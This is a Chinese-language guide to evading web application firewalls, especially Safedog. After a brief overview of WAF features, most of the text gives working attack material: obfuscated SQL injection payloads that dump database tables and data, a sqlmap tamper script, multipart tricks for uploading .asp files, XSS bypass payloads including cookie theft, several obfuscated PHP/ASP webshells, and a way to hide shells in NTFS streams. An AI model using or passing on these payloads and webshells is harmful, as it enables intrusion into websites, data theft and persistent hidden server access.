过狗秘籍
网站WAF是一款集网站内容安全防护、网站资源保护及网站流量保护功能为一体的服务器工具。功能涵盖了网马/木马扫描、防SQL注入、防盗链、防CC攻击、网站流量实时监控、网站CPU监控、下载线程保护、IP黑白名单管理、网页防篡改功能等模块。能够为用户提供实时的网站安全防护,避免各类针对网站的攻击所带来的危害。
1.1 WAF简介
网站WAF是一款服务器安全防护软件,是为IDC运营商、虚拟主机服务商、企业主机、服务器管理者等用户提供服务器安全防范的实用系统,是集网站内容安全防护、网站资源保护及网站流量保护功能为一体的服务器工具。
常见的系统攻击分为两类:一是利用Web服务器的漏洞进行攻击,如DDOS攻击、病毒木马破坏等攻击;二是利用网页自身的安全漏洞进行攻击,如SQL注入攻击、跨站脚本攻击等。常见攻击方式对网站服务器带来的危害主要集中在病毒木马破坏、网页非法篡改、各类网络攻击带来的威胁。
Waf主要分为硬件,软件和云waf
硬件Waf:绿盟、安恒、启明、知道创宇等(布置在路由和服务器之间,防御效果不错,但是流量大时也支撑不了)
软件Waf:(不收费用):安全狗、D盾、河马、云锁、中间件自带的Waf模块(例如Nginx)
云WAF:(获取真实ip或者子域名可绕过):阿里云、安全狗、知道创宇、安恒
1.2 WAF主要功能
网马木马主动防御及查杀
网页木马和网页挂马扫描工具采用特征码+启发式引擎的查杀算法,WEB木马检出率大于90%
流量监控
能够实时监测到每个网站的进出流量和总流量,以及每个应用程序池及网站的CPU占用情况
网站漏洞防御功能
可拦截GET、POST、COOKIES等方式的SQL注入,可对GET、POST、COOKIES分别定义特征码,以及可拦截XSS注入等行为。
危险组件防护功能
全面拦截恶意代码对组件的调用权限,拦截IIS执行恶意程序,保护网站安全
.Net安全保护模块
快捷设置.Net安全模式,禁止.Net执行系统敏感函数,保障网站安全
双层防盗链链接模式
可以针对不同站点设置防盗链的过滤, 防止图片、桌面、软件、音乐、电影被人引用。如果发现请求者是盗用网站链接, 则自动重定向到错误处理页面
网站特定资源防下载
支持对doc、mdb、mdf、myd等特定资源的防下载保护,加入要保护的敏感资料的路径,即可防止敏感资料被下载
CC攻击防护
自主研发的独特抗攻击算法,高效的主动防御系统可有效防御CC攻击、流量攻击。
网站流量保护
支持下载流量控制、下载线程控制。采用独创的线程控制和流量控制技术, 大大提高服务器性能, 保护网站流量。
IP黑白名单
全IP黑白名单功能允许用户设置个性化的IP信任列表,直接屏蔽或者允许指定IP访问网站。同时,增加iP临时黑名单功能,以及实现了针对某个功能的iP白名单功能。同时,爬虫白名单提供爬虫信任机制,在出现误拦截情况下,允许用户自定义爬虫信任。
1.3 waf注入检测方法
下面主要针对上面的三个阶段进行绕过策略讲解:
Waf绕过方式:
①绕过云waf:
直接攻击源站
这个方法可以用于安全宝、加速乐等云WAF,云WAF的原理通过DNS解析到云WAF,访问网站的流量要经过指定的DNS服务器解析,然后进入WAF节点进行过滤,最后访问原始服务器,如果我们能通过一些手段(比如c段、社工)找到原始的服务器地址,便可以绕过,这个我也没有找到太好的例子,就不多做说明了。
云waf伪造ip头
X-Originating-IP: 127.0.0.1 X-Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1 X-Remote-Addr: 127.0.0.1 X-Client-IP: 127.0.0.1
②绕过软件或者硬件waf:
③Burpsuit神器也有waf插件可以直接拿来使用
只是大部份功能已经被加入黑名单
127.0.0.1很关键,表示伪装服务端本地访问哈,可能直接绕过云waf(至少第一层ip黑白名单防御会失效吧)。
Param obfuscation :url id干扰码模式
Place:干扰码插入位置
Space encodings:编码模式
类型:.....
选择完毕点击set configuration应用
项目选项会话项,添加waf选项,范围选择所有,url选择所有(可灵活选择)
攻击完成....安全狗更新了,呵呵!
Waf sql注入绕过方式
ps:
先在数据库进行测试,保证数据库支持后再waf测试
也可以直接使用sqlmap加绕过waf的脚本的方式进行绕过。
还可以使用上边演示的burpsuit进行绕过
WAF身份认证阶段的绕过
WAF是有一个白名单的,在白名单内的客户请求将不做检测
伪造USER-AGENT:搜索引擎
老版本waf通过user-agent判断用户身份,然而大部分web服务都需要被搜索引擎爬取内容,因此搜索引擎user agent也自然就保存在了waf白名单中。所以可以通过伪造user agent白名单的方式进行绕过
老版本的WAF是有这个漏洞的,就是把User-Agent修改为搜索引擎(),便可以绕过,进行sql注入等攻击。
这里推荐一个火狐插件,可以修改User-Agent,叫User-Agent Switcher 下载地址: https://addons.mozilla.org/zh-CN/firefox/addon/user-agent-switcher/
安装完后重启Firefox浏览器, 打开User Agent Switcher设置面板
点击你要添加的分组然后点击New User Agent…
输入User Agent信息然后点击确定
然后选择你要模拟的的User Agent
选择后刷新页面即可。也可以通过手工修改User-Agent, 在火狐浏览器地址栏输入“about:config”,按下回车进入设置菜单。找到“general.useragent.override”,如果没有这一项,则点右键“新建”->“字符串”, 将其值设为自己想要的UserAgent(如:Baiduspider)
当然喜欢用burp的朋友也可以通burp来修改User-Agent (图1):
如果想批量替换User_Agent,如图2
伪造白名单特殊目录
360webscan脚本存在这个问题,就是判断是否为admin dede install等目录,如果是则不做拦截
比如:www.spisec.com/pen/news.php?id=1 union select user,password from mysql.user 可以改为: www.spisec.com/pen/news.php/admin?id=1 union select user,password from mysql.user 或者 www.spisec.com/pen/admin/..\news.php?id=1 union select user,password from mysql.user 详细的见: http://www.wooyun.org/bugs/wooyun-2014-050576
Waf数据包解析阶段绕过
1、伪造请求方式绕过
我想玩渗透的都知道cookie中转注入,最典型的修改请求方式绕过,很多的asp,aspx网站都存在这个问题,有时候WAF对GET进行了过滤,但是Cookie甚至POST参数却没有检测。
2、复参数绕过
例如一个请求是这样的
GET /pen/news.php?id=1 union select user,password from mysql.user
可以修改为
GET pen/news.php?id=1&id=union&id=select&id=user,password&id=from%20mysql.user
很多WAF都可以这样绕,测试最新版WAF能绕过部分语句
3、编码绕过
最常见的方法之一,可以进行urlencode
早期的方法,现在效果不是太好
Waf触发规则的绕过
WAF在这里主要是针对一些特殊的关键词或者用法进行检测。绕过方法很多,也是最有效的。
4、内联注释绕过
在mysql的语法中,有三种注释方法:--此时这个方法可行,还没有被加入黑名单
和#(单行注释)和/* */(多行注释)如果在/*后加惊叹号!意为/* */里的语句将被执行
在mysql中 /*! ....*/ 不是注释,mysql为了保持兼容,它把一些特有的仅在mysql上用的语句放在/*!....*/中,这样这些语句如果在其他数据库中是不会被执行,但在mysql中它会执行。如下语句/*!50001 select * from test */;这里的50001表示假如 数据库是5.00.01及以上版本,该语句才会被执行。
但是order by (这里order不拦截by不拦截,但是order后面加by会拦截)所以我们还是用之前的内联注释测试绕过
发现and能过的内联注释到了order by就不行了。这.... 抓头.jpg。再测试一下将order by全部放进内联里,也不行。
根据开头介绍的内联的特性,往内联里加数字进行测试。这里可以多准备些五位数因为一些常用的已经被狗拦了
简单的fuzz 了一下,burpsuit挂字典测试,同时对源码改写,添加正确或者错误提示信息。发现 了大量的可以绕过的版本号
10440 – 10449 13440-13449 14400-14499 15440-15449 16440-16449 17440-17449 18440-18449 等等
Lucy' order /*!11440 by*/ 1,2#
union select绕过可以直接加内联,因为安全狗看重的是关键字,要绕过只需要中间加些干扰就行。
但union select中间需要放两个内联才行,之后的都是这样。
-1' union /*!11440 select*/ 1,2#
-1' union /!77777cz//!77777cz/ select 1,2#
以前版本的在database()中间插空格符已经不管用了
tip:Mysql中可以利用的空白字符有:%09,%0a,%0b,%0c,%0d,%20,%a0
但可以用内联绕过,直接把()放到内联里,或者经过简单的变形就能过
-1' union /*!77777cz*//*!77777cz*/ select database/*!77777a*/(),2#
select xxx from xxx (select 任意字符 from 后面跟任意字符等也会拦截)这里将select table_name和from information_schema.tables单独进行测试,发现都不会被拦截,但是用select table_name,2 from information_schema.这种组合进行测试时就会被拦截。再测试select xxx from xxx发现被拦截。说明select后面跟任意字符再加上from再加上任意字符就会被拦截。这里只需要将select放进内联即可绕过,也可以像之前一样在from前面加两个内联/*!77777cz*/,我这里为了简洁就只写一种。查表名
-1' union /*!11440select*/ group_concat(table_name),2 from information_schema.tables where table_schema=database/*!77777cz*/()#
还可以用mysql>5.6版本的新特性,mysql库多了两个新表,innodb_index_stats 和 innodb_table_stats
这两个表是数据库自动设置的用于记录更改和新创建的数据库和表的信息,但准确的说是保存最近的数据库变动记录。安全狗没有对这两个关键字进行限制。
具体怎么查爆内容看这篇文章
查表名
1' union /*!11440select*/ group_concat(table_name),2 from mysql.innodb_index_stats where database_name=database/*!()*/#
时间盲注和报错
经测试sleep()不会被拦但sleep()里面加数字就会被拦updatexml()不会被拦,但是能执行的updatexml(1,1,0)会被拦截都可以用内联进行绕过
lucy ' /*!11440or*/ /*!11440sleep(3)*/#-1'AND updatexml/*!77777cz*/(1,version(),0)#
最终sqlmap tamper #!/usr/bin/env python """ Copyright (c) 2006-2019 sqlmap developers ([url]http://sqlmap.org/[/url]) See the file 'LICENSE' for copying permission Author:LUSHUN """ import re import os from lib.core.data import kb from lib.core.enums import PRIORITY from lib.core.common import singleTimeWarnMessage from lib.core.enums import DBMS __priority__ = PRIORITY.LOW def dependencies(): singleTimeWarnMessage("Bypass safedog4.0'%s' only %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) def tamper(payload, **kwargs): payload=payload.replace('AND','/*!11440AND*/') payload=payload.replace('ORDER','order/*!77777cz*/') payload=payload.replace("SELECT","/*!11440SELECT*/") payload=payload.replace("SLEEP(","sleep/*!77777cz*/(") payload=payload.replace("UPDATEXML(","UPDATEXML/*!77777cz*/(") payload=payload.replace("SESSION_USER()","/*!11440SESSION_USER()*/") payload=payload.replace("USER())","USER/*!77777cz*/())") payload=payload.replace("DATABASE()","DATABASE/*!77777cz*/()") return payload
5、替换绕过
特殊字符替换空格法
把空格替换成%0a/**/可以绕过最新版本WAF, 在Pangolin中 点击 编辑-- 配置-- 高级-- 选择替换空格使用-- 填上%0a/**/即可
http://192.168.0.142:8080/sql.php?id=1%20union%23%0aselect%23%0a1,user(),3,4,5
关键字替换法
1.关键字 异或绕过
在^没有被过滤的时候可以利用它来测试
异或:xor或^
逻辑运算就是:同假异真(两个条件结果相同就为假,结果不同就为真)
例如:1^0 就是 1 ,1^1 就是 0
例子:
lucy' Xor '1'='1' # 如果‘lucy’存在则前后都为真则为返回假 如果’lucy‘不存在则前为假后都为真则为返回真 Xor类似当前后都为真时返回假执行后面一个表达式 如果A为真,则查出不满足B条件数据; 如果A为假,则查出满足B条件数据;
2、关键字,使用其他变量或者命令对注入语句进行关键子替换
COMMAND | WHAT TO USE INSTEAD @@version | version() concat() | concat_ws() group_concat() | concat_ws() = | like| in
3. mod绕过(求余)
这种在实际绕过WAF过程中很有作用,如下实例:
http://172.16.20.18:8080/dvwa/vulnerabilities/sqli/?id=1%27%20%55%4e%49%4f%4e%20/*!%09%53%45%4c%45%43%54*/%20user(),database()+--+&Submit=Submit
利用WAF本身的功能绕过
假如你发现WAF会把"*"替换为空,那么你就可以利用这一特性来进行绕过
http://www.site.com/index.php?page_id=-15+uni*on+sel*ect+1,2,3,4....
其它方法
-15+(uNioN)+(sElECt)….-15+(uNioN+SeleCT)+…-15+(UnI)(oN)+(SeL)(ecT)+….-15+union (select 1,2,3,4…)
6、特殊字符拼接绕过
把特殊字符拼接起来绕过WAF的检测,比如在Mysql中,可以利用注释/**/来绕过,在mssql中,函数里面可以用+来拼接。这里用mssql中的+号来演示,/**/同理:
如:GET /pen/news.php?id=1;exec(master..xp_cmdshell 'net user') 可以改为:GET /pen/news.php?id=1; exec('maste'+'r..xp'+'_cmdshell'+'"net user"')
7、组合绕过
①把and为&&,urlencode后为%26%26 如:%20%26%26%20-1=-2
先判断注入点,把and为&&,urlencode后为%26%26,1=2被过滤,那我们就可以使用-1=-1或者-1=-2
http://192.168.0.102:8080/sql.php?id=1%20%26%26%20-1=-2
②(),注释和/**/混淆代码绕过
下面我们具体讲解绕过方法:
1.利用()代替空格 2.利用mysql特性/*!*/执行语句 3.利用/**/混淆代码
我给出的注入语句是:
union/*%00*//*!50010select*/(database/**/()),(user/**/())%23 id=1/*|%23--%23|*/unioN/*|%23--%23|*/sElect/*|%23--%23|*/1, user(),(database/**/()),4,5 http://192.168.0.102:8080/sql.php?id=1 union/*%00*//*!50010select*/1,user(),version(),4,5
这里要注意的几点是:
1.mysql关键字中是不能插入/**/的,即se/**/lect是会报错的,但是函数名和括号之间是可以加上/**/的,像database/**/()这样的代码是可以执行的
2./*!*/中间的代码是可以执行的,其中50010为mysql版本号,只要mysql大于这个版本就会执行里面的代码
3.数据或者函数周围可以无限嵌套()
4.利用好%00
完整过狗注入语句
判断: 1'/**/%26%261%3d2%23 判断列数: 1' order by 2%23 关联查询爆出用户和数据库: 1%27%20union/*%00*//*!50010select*/(database/**/()),(user/**/())%23 关联查询爆出数据表: %27%20union/*%00*//*!50010select*/((group_concat(table_name))),null/**/from/**/((information_schema.TABLES))/**/where/**/TABLE_SCHEMA%3d(database/**/())%23 关联查询爆出字段值: %27%20union/*%00*//*!50010select*/((group_concat(COLUMN_NAME))),null/**/from/**/((information_schema.columns))/**/where/**/TABLE_NAME%3d%27users%27%23 关联查询提取数据: %27%20union/*%00*//*!50010select*/((group_concat(first_name))),null/**/from/**/((users))%23 盲注爆出数据库: 1' and substr(database/**/(),1,1)%3d'1'%23 盲注爆出数据表: 1'/*%00*/and substr((/*!50010select*/((group_concat(table_name)))/**/from/**/((information_schema.TABLES))/**/where/**/TABLE_SCHEMA%3d(database/**/())),1,1)%3d'1'%23 盲注爆出字段值: 1'/*%00*/and substr((/*!50010select*/((group_concat(COLUMN_NAME)))/**/from/**/((information_schema.columns))/**/where/**/TABLE_NAME%3d%27users%27),1,1)%3d'1'%23 盲注提取数据: 1'/*%00*/and substr((/*!50010select*/((group_concat(first_name)))/**/from/**/((users))),1,1)%3d'1'%23 基于时间的盲注爆出数据库: 1'/*%00*/and (select case when (substr(database/**/(),1,1) like 'd') then sleep/**/(3) else 0 end)%23
基于时间的盲注爆出数据表: 1'/*%00*/and (select case when (substr((/*!50010select*/((group_concat(table_name)))/**/from/**/((information_schema.TABLES))/**/where/**/TABLE_SCHEMA%3d(database/**/())),1,1) like 'd') then sleep/**/(3) else 0 end)%23
基于时间的盲注爆出字段值: 1'/*%00*/and (select case when (substr((/*!50010select*/((group_concat(COLUMN_NAME)))/**/from/**/((information_schema.columns))/**/where/**/TABLE_NAME%3d%27users%27),1,1) like 'd') then sleep/**/(3) else 0 end)%23
基于时间的盲注提取数据: 1'/*%00*/and (select case when (substr((/*!50010select*/((group_concat(first_name)))/**/from/**/((users))),1,1) like 'd') then sleep/**/(3) else 0 end)%23
也可以通过以下方法绕过
Union -> /*!Union/*/**/ Select -> /*!/*!Select*/ Database() -> /*!database/*/**//*!/*!()*/
使用这种方法SQL语句依然可以正确执行,而且会完美过狗!
但是这里比较坑的一点是安全狗3.5版本会拦截关键字information_schema,这样利用起来就比较麻烦了,不过私神还是提供了一种方法绕过:
当mysql版本>=5.6时,可以用如下语句代替:
Select table_name from mysql.innodb_table_stats where database_name = database();
③编码与注释结合
http://www.***.com/index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4… http://192.168.0.142:8080/sql.php?id=1/*!50000*/union/*!50000*/select/*!50000*/1,user(),3,4,5 也可以这样 http://192.11.22.55/sqli/Less-1/?id=1' and /*!1=1*/ %23 (WAF不拦截)
U替换为%55,S替换为%53 在 union 和 select 之间添加注释/**/
手工进行加注释进行注入太慢,一般我们通过Sqlmap这类工具来实现自动注入:
sqlmap.py -u "URL" --tamper="versionedmorekeywords.py" --dealy=1
8、双写绕过
http://www.***.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4….
此方法适用于一些会把union select替换掉的WAF,经过WAF过滤后就会变成 union select 1,2,3,4....
9、使用大小写
http://www.***.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4….
11.换行绕过
换行符绕过:%23%0a、%2d%2d%0a
%23 是url编码中的 # (也就是MySQL中的行注释符)
%0A 是url编码中的 换行
%23 aaaa -->对应的就是 #aaaa (就相当于把这行给注释掉了)
而再加上%0a(也就是换行符,后面的语句又能成功执行了)
10、分块传输绕过
可以参考https://www.cnblogs.com/backlion/p/10569976.html,觉得这位前辈写的很好
首先,burptsuit抓包后该为post提交方式
然后添加transfer-Encoding:chunked头,表示分块传输
content-length开启为自动更新,一般默认就是自动更新
将写好的分块传输码写入数据包下方,如图:
ps:分块传输码格式为:
字符串长度(就是下一行字符串的长度,包括空格。且可以在数值后加;任意字符串注释进行waf判断干扰)
分节字符串(前后可以设置空格进行干扰waf判断)
字符串长度(就是下一行字符串的长度,包括空格)
分节字符串(前后可以设置空格进行干扰waf判断)
11、绕过策略四:
也可以尝试seelct~ select~1 select! select@等绕过成功,
12、判断是否存在soql注入:
1’ && True —+
1'&& False —+
1’ and /!1/=/!1/ —+
1’ and /!1/=/!2/ —+
分块传输插件:
https://github.com/c0ny1/chunked-coding-converter/releases/tag/0.2.1
文件上传绕过
方法一:等号绕过
在filename后多添加两个等号
方法二:换行绕过
在文件后缀名处换行
方法三:填充垃圾字符
在Content-Disposition字段后添加垃圾数据,来绕过对文件名的校验
方法四:突破绕过
1 ,文件名前缀加[0x09]绕过:
1 2 3 |
——WebKitFormBoundary2smpsxFB3D0KbA7D Content-Disposition: form-data; name=”filepath”; filename=”[0x09]backlion.asp” Content-Type: text/html |
2 ,文件名去掉双引号绕过:
1 2 3 |
——WebKitFormBoundary2smpsxFB3D0KbA7D Content-Disposition: form-data; name=”filepath”; filename=backlion.asp Content-Type: text/html |
3 ,添加一个filename1的文件名参数,并赋值绕过:
1 2 3 |
——WebKitFormBoundary2smpsxFB3D0KbA7D Content-Disposition: form-data; name=”filepath”; filename=”backlion.asp”;filename1=”test.jpg” Content-Type: text/html |
4 , form变量改成f+orm组合绕过:
1 2 3 |
——WebKitFormBoundary2smpsxFB3D0KbA7D Content-Disposition: f+orm-data; name=”filepath”;filename=”backlion.asp” Content-Type: text/html |
5 ,文件名后缀大小写绕过:
1 2 3 |
——WebKitFormBoundary2smpsxFB3D0KbA7D ConTent-Disposition: form-data; name=”filepath”; filename=”backlion.Asp” Content-Type: text/html |
6 ,去掉form-data变量绕过:
1 2 3 |
——WebKitFormBoundary2smpsxFB3D0KbA7D ConTent-Disposition: name=”filepath”; filename=”backlion.asp” Content-Type: text/html |
7 ,在Content-Disposition:后添加多个空格 或者在form-data;后添加多个空格绕过:
1 2 3 |
——WebKitFormBoundary2smpsxFB3D0KbA7D ConTent-Disposition: form-data ; name=”filepath”; filename=”backlion.asp” Content-Type: text/html |
8 或者:
1 2 3 |
——WebKitFormBoundary2smpsxFB3D0KbA7D ConTent-Disposition: form-data ; name=”filepath”; filename=”baclion.asp” Content-Type: text/html |
9 ,backlion.asp . (空格+.)绕过:
1 2 3 |
——WebKitFormBoundary2smpsxFB3D0KbA7D ConTent-Disposition: form-data; name=”filepath”; filename=”backlion.asp .” Content-Type: text/html |
10 ,“回车换行,绕过:
1 2 3 4 |
——WebKitFormBoundary2smpsxFB3D0KbA7D ConTent-Disposition: form-data; name=”filepath”; filename=”backlion.asp ” Content-Type: text/html
|
11 ,NTFS流 在文件名后加::$DATA绕过:
1 2 3 |
——WebKitFormBoundary2smpsxFB3D0KbA7D ConTent-Disposition: form-data; name=”filepath”; filename=”backlion.asp::$DATA” Content-Type: text/html |
12 .或者
1 2 3 |
——WebKitFormBoundary2smpsxFB3D0KbA7D ConTent-Disposition: form-data; name=”filepath”; filename=”backlion.asp::$DATA\0x00\fuck.asp0x00.jpg” Content-Type: text/html |
13 , 经过对IIS 6.0的测试发现,其总是采用第一个(也就是双文件上传)Content-Disposition中的值做为接收参数,而安全狗总是以最后一个Content-Disposition中的值做为接收参数。因此尝试构造如下请求[上传backlion.asp成功]:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
Content-Disposition: form-data; name=”FileUploadName”; filename=”backlion.asp”
—————————–15377259221471
Content-Disposition: form-data; name=”FileUploadName”; filename=”backlion.txt”
Content-Type: application/octet-stream
Content-Disposition: form-data; name=”FileUploadName”; filename=”backlion.asp” Content-Disposition: form-data; name=”FileUploadName”; filename=”backlion.asp” |
14 ,将Content-Type和ConTent-Disposition调换顺序位置绕过:
1 2 3 |
——WebKitFormBoundary2smpsxFB3D0KbA7D Content-Type: text/html ConTent-Disposition: form-data; name=”filepath”; filename=”backlion.asp” |
15 ,在文件名前缀加空格(tab键可替换)绕过:
1 2 3 |
——WebKitFormBoundary2smpsxFB3D0KbA7D Content-Disposition: form-data; name=”filepath”; filename= “backlion.asp” Content-Type: text/html |
16 ,在form-data加空格绕过:
1 2 3 |
——WebKitFormBoundary2smpsxFB3D0KbA7D Content-Disposition: form-data; name=”uploaded”; filename=”backlion.asp” Content-Type: text/html |
17 ,在form-data的前后加上+绕过:
1 2 3 |
——WebKitFormBoundary2smpsxFB3D0KbA7D Content-Disposition: +form-data; name=”filepath”; filename=”backlion.asp” Content-Type: text/html |
18 .或者:
1 2 3 |
——WebKitFormBoundary2smpsxFB3D0KbA7D Content-Disposition: form-data+; name=”filepath”; filename=”backlion.asp” Content-Type: text/html |
Waf xss绕过
测试代码:
<?php //XSS反射型漏洞 //1.变量的直接输出 echo $_GET['XSS']; ?>
标签测试
先对标签进行测试
<script> <a> <p> <img> <body> <button> <var> <div> <iframe> <object> <input> <textarea> <keygen> <frameset> <embed> <svg> <math> <video> <audio> <select>
绕过方法
测试完成后总结:
①没有过滤的标签
audio标签
<audio src=x onerror=alert(47)> <audio src=x onerror=prompt(1);> <audio src=1 href=1 onerror="javascript:alert(1)"></audio>
video标签
<video src=x onerror=prompt(1);> <video src=x onerror=alert(48)>
div标签
<div style="width:expression(alert(/1/))">1</div> ie浏览器执行 <div onmouseover%3d'alert%26lpar%3b1%26rpar%3b'>DIV<%2fdiv> url编码绕过
math标签
<math><a/xlink:href=javascript:prompt(1)>Xss <math href="javascript:javascript:alert(1)">Xss</math>
button标签
<button onfocus=alert(1) autofocus> <button/onclick=alert(1) >xss</button>
keygen标签
<keygen/onfocus=prompt(1);> <keygen onfocus=javascript:alert(1) autofocus>
object标签
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object> base64加密:PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg 解码:<script>alert(1)</script>
iframe标签
<IFRAME width%3d"420" height%3d"315" frameborder%3d"0" onload%3d"alert(document.cookie)"><%2fIFRAME> <iframe%2fsrc%3d"data%3atext%2fhtml%3b%26Tab%3bbase64%26Tab%3b,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg%3d%3d"> <iframe srcdoc%3d'%26lt%3bbody onload%3dprompt%26lpar%3b1%26rpar%3b%26gt%3b'>
........
②没有过滤的编码方式:
可以弹窗的:alert,prompt ,confirm,base64加密,编码绕过(安全狗都没有过滤)
<script>alert(1)</script>Ascii编码 <body/onload=document.write(String.fromCharCode(60,115,99,114,105,112,116,62,97,108,101,114,116,40,49,41,60,47,115,99,114,105,112,116,62)) > <svg/onload=setTimeout(String.fromCharCode(97,108,101,114,116,40,49,41))> Base64编码: <details open ontoggle=eval(atob(‘YWxlcnQoMSk=’)) > eval拦截的话,可以试试,把 e Unicode编码 <details open ontoggle=\u0065val(atob(‘YWxlcnQoMSk=’)) > url编码: <details open ontoggle=%65%76%61%6c(atob(‘YWxlcnQoMSk=’)) > url编码: <details open ontoggle=eval(‘%61%6c%65%72%74%28%31%29’) > JS8编码: <details open ontoggle=eval(‘\141\154\145\162\164\50\61\51’) > Ascii码绕过: <details open ontoggle=eval(String.fromCharCode(97,108,101,114,116,40,49,41)) > 其他自测
alert(‘xss’)的base64编码:PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=
payload:
③其他一些链接法
使用concat来拼接字符串javascript:alert(1)
<iframe onload=location=’javascri’.concat(‘pt:aler’,’t(1)’)>
top可以连接对象以及属性或函数
<details open ontoggle=top.alert(1)> //注,在goole浏览器实用 <details open ontoggle=top[‘prompt’](1)> <details open ontoggle=top[‘al’%2b’ert’](1)> %2b为url编码的+ %27"><details%20open%20ontoggle=eval(%27alert(1)%27)>
④绕过方法有很多比如:
- 大小写绕过
- javascript伪协议
- 没有分号
- Flash
- HTML5 新标签
- Fuzz进行测试
- 双层标签绕过
Waf 木马绕过(webshell免杀)
木马绕过waf就是我们平时所说的木马免杀。
先从简单的php一句话木马开始吧!
PHP小马编写
小马一般只是起到一个上传文件,读取目录的小作用。应为功能简单,使用函数比较普遍所以不会被waf查杀!
<? $path = $_POST['x']; $text = $_POST['y']; $file = fopen($path, "w+"); fwrite($file,$text); fclose($file); ?> <form action="" method="post"> 读取当前文件路径: <? echo $_SERVER['DOCUMENT_ROOT'].$_SERVER['PHP_SELF'];?></br> 保存路径:<input name="x" type="text" /><br> 写入内容:<br><textarea name="y" cols="90" rows="50"></textarea></br> <input name="" type="submit" value="提交"/> </form>
一句话木马实现原理及编写
客户端:(.html文件)
<form action=http://192.168.0.2/2.asp method=post> <textarea name=l cols=120 rows=10 width=45> set lP=server.CreateObject("Adodb.Stream") lP.Open lP.Type=2 lP.CharSet="gb2312" lP.writetext request("p") lP.SaveToFile server.mappath("ok.asp"),2 lP.Close set lP=nothing response.redirect "ok.asp" </textarea> <textarea name=p cols=120 rows=10 width=45>这填马的代码</textarea><BR><center><br> <input type=submit value=提交>
服务端:(从客户.html文件直接上传到服务端)
"<%execute request("l")%>
<form action=http://www.××.com/1.asp //"action="后面是需要修改的以asp命名的数据库的提交地址 method=post //这个标签的意思是建立一个表单,以post方式提交给连接 <textarea name=value cols=120 rows=10 width=45> //这里的value值根据服务端<%execute request("value")%>中value而设定,可以自行修改成<%execute request("p")%>相应这里的value值也必须改为p set lP=server.createObject(“Adodb.Stream”) //建立流对象,有了对象才可以使用它固有的属性和方法 lP.Open //打开 lP.Type=2 //以文本方式 lP.CharSet=“gb2312” //字体标准 lP.writetext request("joeving") //取得木马内容 参数joeving可以自己定义 但必须和下面的name=joeving相对应 lP.SaveToFile server.mappath("ok.asp"),2 //将木马内容以覆盖文件的方式写入ok.asp,2就是已覆盖的方式,这里的ok.asp也是可以自己定义的,如定义成1.asp,但和下面的response.redirect"ok.asp"中ok.asp的保持一致 lP.Close //关闭对象 set lP=nothing //释放对象 response.redirect "ok.asp" //转向生成的ok.asp 和上面的ok.asp相对应,也就是你熟悉的asp木马登 陆界面 </textarea> //这段程序的功能:利用插入到数据库文件的<%execute request("value")%>这段代码执行第一个textarea中的内容,并将添加的木马内容写入和指向ok.asp,这样就相当于在服务器上建立了个ok.asp木马文件,这样就可以取得webshell了
一句话木马如何过waf
①随机字符混淆函数
随机插入无用字符,然后str_replace将其替换为空。把马创建成涵数,后面只要调用涵数就行
<?php $mt="JF9QT1N"; $ojj="QGV2YWwo"; $hsa="UWydpMGle"; $fnx="5BeSleleddKTs="; $zk = str_replace("d","","sdtdrd_redpdldadcde"); $ef = $zk("z", "", "zbazsze64_zdzeczodze"); $dva = $zk("p","","pcprpepaptpe_fpupnpcptpipopn"); $zvm = $dva('', $ef($zk("le", "", $ojj.$mt.$hsa.$fnx))); $zvm(); ?> <?
str_replace:参数:("需要匹配的字符","替换字符","需要匹配的对象") $zk=str_replace("d","","sdtdrd_redpdldadcde")=str_replace // $zk=str_replace $ef=str_replace("z", "", "zbazsze64_zdzeczodze")=base64_decode // $ef=base64_decode $dva=str_replace("p","","pcprpepaptpe_fpupnpcptpipopn")=create_function //$dva=create_function $ojj.$mt.$hsa.$fnx=QGV2YWwoJF9QT1NUWydpMGle5BeSleleddKTs= str_replace(("le", "", "QGV2YWwoJF9QT1NUWydpMGle5BeSleleddKTs=")=QGV2YWwoJF9QT1NUWydpMG5BeSddKTs= base64_decode("QGV2YWwoJF9QT1NUWydpMG5BeSddKTs=")=@eval($_POST['i0nAy']); create_function('',@eval($_POST['i0nAy']);) $zvm();
虽然木马可以上传,但是服务端进行连接时,是会被狗拦截的!那么就要进行如下操作了。
连接时如果客户端连接被安全狗加入黑名单,那么我们可以使用手工连接查询方式:
ionAy=echo system(‘dir’) ionAy=echo system(‘ipconfig’) ......
Ps:ionAy是连接密码,上传到服务端的一句话木马连接密码是什么就写什么
如下图:
② 多层变量(变量覆盖):$$$string=string
过老板本一句话
<?php $h='f'; $$h=$_REQUEST['x']; //$$h可以理解为先解析后边这个$h,然后在进行解析,最终解析成为$f $d='CHECK'; $$d='ass'; $$d=$CHECK.'ert'; $CHECK($f); ?>
③还可以代码在线加密
<?php /* PHP Encode by http://Www.PHPJiaMi.Com/ */error_reporting(0);ini_set("display_errors", 0);if(!defined('fskvgxby')){define('fskvgxby',__FILE__);if (function_exists("������Ȯ��")==false){function ǣ�����(){$����ӆ�='6f6e66723634';$���ǁ����='pa';$������='7374725f';$���ɦ������='H'.'*';$���ǁ����.='ck';$����ӆ�.='5f717270627172';$������.='726f743
④组合法
前两种或者两种以上方式结合,可用于高版本waf
<?php
$pwd='KrisJ'; //pwd
class NMSL{
function __destruct(){
$HI='lKrRM{'^"\xd\x38\x1\x37\x3f\xf";
return @$HI("$this->PFZE");
}
}
$a='b';
$$a='NMSL';
$b=new NMSL();
@$b->PFZE=isset($_GET[$pwd])?base64_decode($_POST[$pwd]):$_POST[$pwd];
?>
例如写为函数,然后加密,include包含,然后调用函数解密
⑤修改后缀然后包含执行绕过
包含函数可能会被加入黑名单,所以可以使用include函数加密的方式!
⑥通过NTFS交换数据流文件实现文件隐藏绕过
数据流文件几乎所有waf都无法查杀!
然而流文件是不可以直接访问的,所以需要使用include函数文件调用或者设置为开机自动运行。
实例:
notepad muma.php 新建一个一句话木马文件
通过命令 type muma.php>>test.txt:muma.php来创建新的交换数据流文件
数据流文件(包括exe文件)执行方法:
